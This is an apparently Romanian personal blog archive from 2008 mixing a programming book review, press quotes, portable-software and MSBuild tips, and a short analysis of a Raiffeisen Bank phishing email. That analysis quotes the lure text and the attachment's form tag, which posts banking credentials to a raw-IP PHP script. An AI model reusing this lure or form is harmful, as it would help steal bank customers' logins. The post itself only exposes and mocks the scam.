Despre fundatiile programarii

Am aflat de pe blogul lui Gabriel Enea, http://gabrielenea.blogspot.com/2008/07/bazele-programarii-sau-cum-sa-scrii.html , despre o carte numita Foundations of Programming – Building Better Software, by Karl Seguin .

Exceptionala si va sfatuiesc si pe voi sa o cititi. E usor de citit si scrisa cu nerv.

Alegerile pe care le face nu sunt intotdeauna pe gustul meu(ca Nhibernate, de ex.) dar in rest este o carte care iti reia/reda bunurile obiceiuri in dezvoltarea soft.

Ce mi-a placut :

    Pagina 13 :

“The idea behind domain driven design is to build your system in a manner that’s reflective of the actual

problem domain you are trying to solve. This is where domain experts come into play – they’ll help you

understand how the system currently works (even if it’s a manual paper process) and how it ought to

work. At first you’ll be overwhelmed by their knowledge – they’ll talk about things you’ve never heard

about and be surprised by your dumbfounded look. They’ll use so many acronyms and special words

that’ll you’ll begin to question whether or not you’re up to the task. Ultimately, this is the true purpose

of an enterprise developer – to understand the problem domain. You already know how to program, but

do you know how to program the specific inventory system you’re being asked to do? Someone has to

learn someone else’s world, and if domain experts learn to program, we’re all out of jobs.”

 

    Pagina 30: despre IOC sau DI intr-un mod clar , cu Structure Map

    Pagina 36 : uitasem de assembly: InternalsVisibleTo

    Pagina 61 : de ce ati trece o instanta a unei clase cu ref …

Chiar daca sunteti f. buni , citi Foundations of Programming – Building Better Software, by Karl Seguin .

. Merita!

 

 

    

Dilema veche si EXISTA O IDENTITATE EUROPEANA?

Despre darimarea “justitiara” din Herastrau scrie Mircea Vasilescu in “De ce cu buldozerul?

“Patronilor li se ia tot, în uralele mulţimii însetate de dreptate, în timp ce funcţionarii de la primărie care au ars gazul în tot acest timp şi au consimţit la ilegalităţi nu păţesc nimic. Dinspre partea aceea, s-a spus că “se aşteaptă demisia” unui director. Atît?! Atît. Nu se face o anchetă internă, nu se impută nimănui sumele care ar fi trebuit să intre în conturile municipalităţii în toţi aceşti ani din chiria terenurilor pe care se aflau terasele? Bag mîna în foc că nu. Şi nu vrea nimeni să-i informeze pe cetăţeni pînă la capăt de ce responsabilii din primărie i-au lăsat pe patroni să-şi vadă de treabă fără contract? Au făcut-o pe bani sau aşa, din milostenie ori de dragul bucureştenilor care voiau să stea seara la o bere pe malul lacului? Nu vom şti, probabil, niciodată. Pentru că, în România, preocuparea pentru imagine este mai importantă decît grija pentru transparenţă.”

Pe de alta parte inca exista in Herastrau un spatiu privat : terenurile de tenis

Competitia dintre RO si BG in Bulgarizarea Europei

“Un amic cu care vorbeam despre problemele din Bulgaria mă întreabă: “Dacă o duc atît de rău pe cît zice Europa, de ce staţiunile lor de pe litoral sînt clar superioare celor româneşti, de ce autostrăzile lor sînt mai bine îngrijite (şi mai multe), de ce preţurile la Sofia sînt mai mici decît cele de la Bucureşti?”. Competiţia dintre codaşii clasei e departe de a se fi încheiat.”

si in Protecţia franceză

“În acelaşi articol se menţionează că Sofia va achiziţiona două corvete franceze la preţul de un miliard de leva (500 de milioane de euro). Un argument care contează.”

Mi-a placut in Italia, de nerecomandat

“marcă americană, unde procesele dese fac produsele bune”

Despre smecheria armatei in Prima zi

“Eram patru cei care ne-am aşezat pe marginea drumului pentru ineditul picnic. Însă abia dacă am apucat să luăm cîte o gură de ţuică şi să gustăm brînza, că ne-am trezit cu un subofiţer mustăcios lîngă noi. Apăruse parcă din pămînt şi, zîmbindu-ne larg, ne-a spus că nu e bine să mîncăm acolo, pe marginea drumului, sub gardul unităţii. “Puteţi mînca şi înăuntru, măi băieţi. Aveţi mese şi bănci în parcul unităţii.” Noi ezitam, dar el parcă ştia de ce, şi a continuat: “Vă lăsăm să vă terminaţi acolo şi băutura, că doar oameni sîntem, ce naiba”. Cum nu prea aveam încotro, ne-am strîns bucatele şi bagajele şi ne-am îndreptat spre poartă. La gheretă ni s-au cerut buletinele şi am fost puşi să semnăm într-un tabel. Apoi, dintr-odată, un alt subofiţer i-a zis sighişoreanului: “Ia dă încoace sticla aia”. La protestele noastre, a replicat pe ton milităresc că potrivit nu ştiu cărui decret, consumul de alcool în unităţile militare e interzis.”

Inventivitatea omului depaseste inchipuirea in cu ochii-n 3,14

“După interdicţia fumatului (de tutun!) în locurile publice din Olanda, patronul unei cafenele şi-a canonizat localul, transformîndu-l în “Biserica Sfintei Treimi”: fumul, focul şi scrumul. Cum libertatea religioasă e foarte respectată în Olanda, ţară majoritar protestantă, o asemenea eludare a legii e foarte posibilă, prefigurîndu-se încă de pe acum destule cereri de convertire. După atîtea dileme (“o fi femeie?”, “o fi negru?”), revelaţia olandeză ne spune, fără umbră de îndoială, că Dumnezeu este fumător. (S. G. )”

Mi-a placut si

“In ’97, cînd Bronislaw Geremek a venit la Bucureşti, l-am rugat pe Andrei Pleşu să-i spună că sîntem cîţiva în Romånia care nu putem da uitării acea frază în care se condensa o experienţă esenţială pentru secolul XX: “Am intrat cinstit şi am ieşit la fel de cinstit din Partidul Comunist”. De-a lungul vieţii, acest fiu de rabin a fost comunist, anticomunist şi anti-anticomunist. “A fost un om…”, cum sună finalul shakespearian din Iulius Cezar. (R. C.)”

Pentru ca mi-a adus aminte de bancul cu 2 din 3: comunist, cinstit si inteligent

 

 

 

3 suite de Aplicatii portabile

Avind in vedere capacitatea marita a USB-urilor – si avind unul de 3 si unul de 8 (multumesc din nou colegilor) am cautat ce sa pun pe el. Si normal, am cautat aplicatii portabile – care sa nu aiba nevoie de un installer – sa vina cam cu tot ce le trebuie, in afara de Windows.Si am gasit ceva mai mult – 3 suite de aplicatii portabile.

Primul este PortableApps – de downloadat la http://portableapps.com/suite . Este imbunatatit continuu, dar te cam si enerveaza cu versiuni peste versiuni la soft-uri. Are si RSS … asa ca e usor de integrat ( de pilda, cu www.google.com/ig ca sa vezi cind iti face o noua versiune). Pe deasupra merge sa instalezi alte portabile doar punind in folder-ul respectiv…

Al doilea este Lupo Pen Suite – http://www.lupopensuite.com/download.htm . De mentionat ca incearca sa isi faca si un auto updater.

Al treilea este WinInizio Pensuite – http://pensuite.wininizio.it/eng/?page_id=4 . Acesta este singurul care m-a enervat la inceput, posedind un installer… Dar pe urma aplicatiile sunt intr-adevar portabile.

 

Intersectia programelor intre cele 3 este nevida – Foxit PDF Reader , de exemplu. Dar adevarul este ca se completeaza.

Pentru referinta , mai exista inca 2 linkuri interesante:

    http://www.portablefreeware.com/ – o lista destul de mare cu tot ceea ce ai vrea sa ai

    http://www.tinyapps.org/ – programele –nu neaparat utile(mai foloseste cineva Lynx pentru web ?) cit interesant de stiut cit pot incapea in 1.44mb

    http://www.softpedia.com/get/PORTABLE-SOFTWARE/ o lista ne exhaustiva, dar merita incercat daca vreti ceva anume

 

Daca aveti un USB mai marisor , instalati http://portableapps.com/suite . O sa va deschida apetitul …

Documentatie proiecte NET

Stiam ca a a aparut Sandcastle final. Dar, desi are GUI-ul incorporat si command line-ul, e inca destul de greu de folosit. Asa ca am cautat pe codeplex ceva care sa se integreze usor, in afara de SHFB

Asa am gasit DocProject . Acesta iti adauga un nou tip de proiect in VS, ii spui printr-un Wizard ce proiecte vrei sa iti adauge, iti spune ce lipseste pentru a compila in CHM sau HxS + 1 Site …E clar ca e super OK si iarasi e clar ca trebuie sa il compilezi doar “on demand” la sfirsitul proiectului – adica sa nu il lasi sa se compileze la fiecare build decit daca ai masina super tare – RAM si RPM.

In alta ordine de idei, fisierele CHM le poti vedea usor, dar cele HxS nu… Am descoperit un Hxs viewer bun si free aici : http://www.helpware.net/mshelp2/h2viewer.htm

 

Dilema veche si TURISMUL CULTURAL

Sever Voinescu este sever in BHL despre Darfur

“Nu am nici o îndoială că generaţia de după noi va fi stupefiată de incapacitatea noastră de a opri acest măcel, aşa cum generaţia mea a fost stupefiată aflînd despre incapacitatea lumii civilizate de a opri, la timp, Auschwitzul şi Gulagul.”

Mda…Cum ar fi putut ? Cum am putea acum ? Si de ce ar fi stupefiata?

Despre Turismul in RO, promovat de agentii, in “Noi nu ne vindem ţara“. Normal…

Si o ultima perla, in cu ochii-n 3,14

“* Într-o după-amiază, într-un magazin din Crîngaşi, o ceartă între o cumpărătoare şi vînzătoarea de la casă. Motivele mi-au scăpat, dar cînd cumpărătoarea a ameninţat să nu mai calce în viaţa ei prin magazinul respectiv, replica vînzătoarei mi-a revelat brusc esenţa comportamentală nealterată şi de nezdruncinat a comerciantului român: “Mai bine-mi pierd clienţii, decît locul de muncă”. Deci fără iluzii şi mofturi: în România nu cumpărătorii asigură locul de muncă al vînzătorilor. (S. G. )”

 

 

MSBuild tasks si Poor man backup

M-am tot uitat in ultimul timp la MSBUILD
Interesant si extensibil…
Din fericire , exista o sumedenie de taskuri msbuild cu care poti face (aproape) tot ceea ce vrei

Ceea ce vroiam sa fac era doar o zip-uire a solutiei la fiecare compilare.

La http://msbuildtasks.tigris.org/ am gasit (printre multe altele)  task-uri de zip-uit, ca si task de obtinut data si timpul

Asa ca solutia a fost sa le combin … si am reusit sa introduc in proiect asa ceva:

<Target Name=”AfterBuild”>
        <Time Format=”yyyyMMdd_HHmmss”>
            <Output TaskParameter=”FormattedTime” PropertyName=”FormattedTime”  />
        </Time>
        <ItemGroup>
            <ZipFiles Include=”$(SolutionDir)**\*.*” Exclude=”$(SolutionName)*.zip” />
        </ItemGroup>

        <Zip Files=”@(ZipFiles)” ZipFileName=”$(SolutionName)_$(FormattedTime).zip”  />
        <MakeDir Directories=”$(SolutionDir)..\Zips”  ></MakeDir>
        <Move SourceFiles=”$(SolutionName)_$(FormattedTime).zip” DestinationFolder=”$(SolutionDir)..\Zips”></Move>

    </Target>

Practic, daca aveti o structura in care solutia(.sln) este intr-un folder , iar celelalte proiecte sunt in sub-folder-e dedesubtul solutiei, adaugati in care proiect vreti codul de mai sus si va aparea , dupa fiecare compilare, un folder zips cu solutia si subfolder-ele zip-uite…

Incerc sa fac o enumerare rapida de task-uri MSBuild, in ideea ca poate cautati ceva si nu vreti sa reinventati roata:
   

MSBuild Windows PE Tasks – Home
http://www.codeplex.com/msbuildwinpe

MSBuild Extras – Toolkit for .NET 1.1 “MSBee” – Home

http://www.codeplex.com/MSBee

Coding Cockerel code samples – Release: Automating the build with MSBuild
http://www.codeplex.com/Release/ProjectReleases.aspx?ProjectName=codingcockerel&ReleaseId=12739


Download details: Microsoft® Visual Studio Team System 2008 Database Edition Power Tools

http://www.microsoft.com/downloads/details.aspx?FamilyID=73BA5038-8E37-4C8E-812B-DB14EDE2C354&displaylang=en


Peli’s Farm – TaskSchema, a XSD schema generator for MsBuild tasks

http://blog.dotnetwiki.org/TaskSchemaAXSDSchemaGeneratorForMsBuildTasks.aspx


MSBuild Tasks for BizTalk Continuous Integration

http://geekswithblogs.net/paulp/archive/2008/06/09/122746.aspx


CreateGuid MSBuild Task « Grant Holliday

http://ozgrant.com/2008/04/04/createguid-msbuild-task/


How to create a YUI Compressor MSBuild Task – Nick Berardi’s Coder Journal

http://www.coderjournal.com/2008/05/how-to-create-a-yui-compressor-msbuild-task/


CodeProject: Custom MSBuild Tasks: Automated Report and DB Deployment. Free source code and

http://www.codeproject.com/KB/reporting-services/CustomMSBuildTask_RS.aspx

Custom MSBuild Tasks: Automated Report and DB Deployment

SDC Tasks Library – Home
http://www.codeplex.com/sdctasks


How to Write a Custom MSBuild Task : Keyvan Nayyeri

http://nayyeri.net/blog/how-to-write-a-custom-msbuild-task/


Brennan’s Blog » Blog Archive » SubSonic and Automation with MSBuild

http://brennan.offwhite.net/blog/2007/06/10/subsonic-and-automation-with-msbuild/


msbuildtasks.tigris.org

http://msbuildtasks.tigris.org/


Sedodream MSBuild Project – Home
http://www.codeplex.com/Sedodream

dilema veche si FERICIREA

Ce tema ar putea fi mai interesanta ?
Desi, cum scrie M.C. in La purtător
“Fericirea e o idee supraevaluată şi suprainterpretată”

Si tot el despre fericirea proprie:
“Cred că fericirea ţine de retorica interioară a fiecăruia în parte şi
mai cred că nu e nevoie să pleci în căutarea a nimic din ceea ce n-ai
găsit deja. O după-amiază cu Pink Floyd, rîsul cu prietenii, amintirile
din copilărie, dragostea şi paharele de Shiraz, cărţile preferate
citite în pat, serile cu film, plaja la asfinţit, crema de zahăr ars,
măslinele… Sînt fericit în fiecare zi sau nu sînt deloc. Nu ştiu cum
sînt alţii şi puţin îmi pasă.”

Mda…individualismul romanului se vede in “puţin îmi pasă” . Mie imi pasa -probabil  ca e un pic de voyeurism …
La mine fericirea ? O joaca cu copii, o problema frumoasa pe care s-o rezolv dupa masa, un servici OK( sau , mai bine zis, bani destul obtinuti cu placere…), o sotie care sa imi fie alaturi ,carti interesante de citit – nu neaparat in aceasta ordine…

Despre bacalaureat Mircea VASILESCU in Am dat şi bacaloriatul ăsta…
“Pe scurt: plasarea subiectelor pe web a favorizat învăţatul pe dinafară (deci odihna gîndirii) şi a stimulat copiatul”

Despre saracia relativa in Cină la nivel înalt de Magdalena BOIANGIU
Conducătorii ţărilor bogate sînt preocupaţi de diminuarea sărăciei în
propria ţară. Nu are importanţă că un sărac din SUA are cu totul alt
nivel de viaţă decît cel din Bangladesh: cel în cauză nu e sensibil la
această comparaţie.”

Pentru o regîndire a razboiului din Afganistan
Cu cît au venit mai multe trupe, cu atît se cereau încă şi mai multe.
Să ajungi pe cîmpul de luptă şi să constaţi mereu că îţi mai trebuie
trupe şi că oricîte ţi s-ar trimite sînt prea puţine este dovada clară
că nu ştii ce faci.”

Despre santaj-ul care se poate practica la virf, cerind unanimitatea , in Din nou la start?
“Mai mulţi politicieni şi comentatori, în special din Germania, au cerut
un al doilea referendum irlandez, iar întrebarea să sune aşa: vreţi
Lisabona sau vreţi să părăsiţi Uniunea Europeană? Dar aşa cum ştie
orice mafiot de rînd, aceasta nu e o întrebare: e o cerere cu
ameninţare. Acest fel de Uniune e dorit de liderii europeni?”

Daca aveti 30-39 de ani si va aduceti aminte de capace, cititi Capace, pocnitori şi alte jucărele

Pentru cei care se intreaba despre milostenie un articol interesant de Peter Singer,
Milostenia ostentativă
“Apare totuşi o întrebare, din perspectivă etică: chiar ar trebui să ne
pese atît de mult cît de pure sînt motivele care te determină să
dăruieşti ceva? Pînă la urmă, ceea ce contează este că s-a oferit un
lucru pentru o cauză bună”

Nu stiam ca Seneca a spus (Şi fericirea are istorie)
“Un om fericit este acela care „cultivă virtutea, mulţumindu-se cu ea; un
om pe care norocul nu-l înfierbîntă, iar ghinionul nu-l doboară“.”
Se aseamana enorm cu Bhagavad Gita…

Alte forme de fericire
            in “Fericirea nu este starea cerebrală perfectă in interviu cu Bogdan O. Popescu
“În acelaşi timp însă, libertatea (informaţiei, de iniţiativă etc.) ne
dă posibilitatea de a alege şi aceasta este o sursă de fericire în
sine. “
“Să fii îndrăgostit din cînd în cînd, să ai o viaţă variată, să
călătoreşti şi să cunoşti tot timpul lucruri noi… Alternanţa stărilor
e extrem de importantă. Avem nevoie de elemente noi şi de variaţie prin
care să evităm monotonia vieţii. Nimic nu e bun încontinuu. “
         
             in Amprenta Fata Morgana
“Cînd a plecat din cămin, fericirea a fost, pe rînd, să aibă un acoperiş
deasupra capului sau o masă omenească (nu doar Delikat pe pîine). Apoi
o slujbă bună. Primind gajul banului a uitat, la 40 de ani, fericirile
fulminante pe care doar traiul de pe o zi pe alta i le furnizau.
Acum e fericit? Da, cînd îşi renovează casa, cînd îşi schimbă maşina
sau îşi ia un gadget. Dar cînd ştii că ţi le poţi permite oricînd,
fericirile astea, devenite materiale, sînt doar de moment şi efemere,
garantate de ban întru borderline.”

Vad ca pot exista si femei misogine, in Manager la mop
În schimb, cîntă, rîde, îi place să facă mîncare, să spele vase, să dea
cu aspiratorul şi nu are complexe sau mai ştiu eu ce, pînă la urmă nu e
nici menajeră, nici femeie de serviciu, e o femeie pricepută să ţină o
casă, care scoate şi bani din ce ar trebui să fie treburi exclusiv de
femeie.”

Iar 3,14 e intr-adevar delicios:

* Într-o revistă glossy, am văzut un pictorial cu Andreea Marin făcut
în Tanzania, într-un sat de masai. Printre colibe de lut şi copii
îmbrăcaţi sărăcăcios, „zîna“ afişa un zîmbet voluptuos şi flutura
brăţări Dolce & Gabbana. O fi un nou trend în materie de campanii
umanitare? Dacă-i aşa, următorul pas ar fi un pictorial într-o zonă de
conflict, printre cadavre. (M. Ş. )

* Subiect la General Certificate of Secondary Education (echivalent, în
Marea Britanie, cu Bac-ul nostru): „Descrieţi camera în care vă
aflaţi“. Un elev a scris pe foaie doar atît: „Fuck off“. Profesorul
Peter Buckroyd (o figură ilustră a învăţămîntului secundar britanic)
i-a dat 2 puncte dintr-un maximum posibil de 27, argumentînd astfel: un
punct pentru că nu avea greşeli de ortografie şi sintaxă şi un punct
pentru că exprima un gînd. „Dacă ar fi pus şi semnul exclamării, i-aş
fi dat încă un punct.“ „Mai bine o insultă decît să lase foaia albă,
aşa cum fac mulţi dintre elevii noştri“ – a mai spus profesorul. Morala
(pentru bacalaureaţii noştri şi profesorii lor): 1) sistemul de notare
britanic e mai riguros decît al nostru şi 2) e de apreciat că elevul nu
a copiat… (M. V. )

* Cum n-aveau ce face, edilii au ajuns la concluzia că Bucureştiul e
poluat fonic şi, pentru că nu au o idee valabilă de rezolvare a
problemei, vor să interzică circulaţia motocicletelor şi scuterelor
după ora 10 p.m. În această dezordine de idei, ar putea fi prevenită
criminalitatea, prin interzicerea părăsirii casei după lăsarea
întunericului. Sau pentru a scădea violenţa domestică, ar putea fi
interzise căsătoria şi traiul în comun. Cred că şi eu aş reuşi să dau
cîte o lege pentru fiecare problemă din România: e amuzant, relaxant şi
mai scoţi şi bani… (S. G. )

raiffeisen si furat de parole

Am primit deja 3 emailuri cu continutul

“Noi masuri de securitate introduse de Raiffeisen Bank.
Prin aceasta noua metoda de verificare a conturilor Raiffeisen Online,
securitatea a crescut vizibil. Va rugam deschideti mesajul din fisierul atasat
email-ului pentru a aplica pentru noul program de securitate.

————————————————-

© Raiffeisen Bank 2008″

Sunt citeva probleme aici:

    1.Desi vine , cica, din partea la security la raiffeisen minus online.com

totusi, daca va uitati in header-ul mesajului, este

“Received: from unknown (HELO User) (66.34.62.243)
  by ps32.suite2.arena.ne.jp (202.229.25.116) with SMTP; 3 Jul 2008 07:36:56 +0900″

    2. Nu am cont la Raiffeisen si nu le-am dat emailul meu ( am o fobie imi a da emailul la banci)
      
    3. In html-ul atasat, metoda este:

<form method=”POST” action=”http://64.246.187.2/~info/raiffeisen.php”>

Cred ca mi-e frica si sa dau ping la 64.246.187.2 …

(Ma rog, imi place ce scrie inauntru :

Va informam ca securitatea pe care Raiffeisen Bank o ofera a fost sporita! Din acest moment verificarea validitatii accesului la contul dumneavoastra online nu se mai face in
        cadrul unei pagini speciale in interiorul web-site-ului nostru, ci
        printr-un formular care este trimis ca atasament la un email. In acest
        fel accesul persoanelor neautorizate este imposibil, iar securitatea
        sporita oferita de tipul de encriptare al datelor SSL ridica notiunea de
        securitate online la cel mai inalt nivel.
Dar singura referinta la https este  la o imagine
                <img border=”0″ src=”https://www.raiffeisenonline.ro/eBankingWeb/assets/images/veriSign_new.gif” width=”134″ height=”61″>
)

Ce sa zic… incepe sa devina interesant si furatul de parole in RO … se straduiesc baietii…
Desi e simplut… eu as fi incercat sa puna la inceput si un reuqest catre acelasi site sa aduc si un troian,ceva…

newslink pentru iulie 2008

Despre interviuri si intrebari nonconformiste…
http://w-uh.com/articles/030524-moving_Mount_Fuji.html

Why Don’t Managers Think Deeply?
Raspunsul aici   http://hbswk.hbs.edu/item/5952.html

SkyDrive are , in sfirsit, 5 GB free si pentru RO
http://skydriveteam.spaces.live.com/blog/cns!977F793E846B3C96!3837.entry

Despre ce sa faceti ca developer
http://timstall.dotnetdevelopersjournal.com/intellectual_equity.htm
Desi nu ia in considerare ca primul o sa devina manager ….

Niciodata sa nu folositi confirmarea daca puteti face undo
http://www.alistapart.com/articles/neveruseawarning

Si, in sfirsit, 6 motive sa nu fiti un dezvoltator web
http://webworkerdaily.com/2008/06/02/6-reasons-why-you-shouldnt-be-a-web-worker/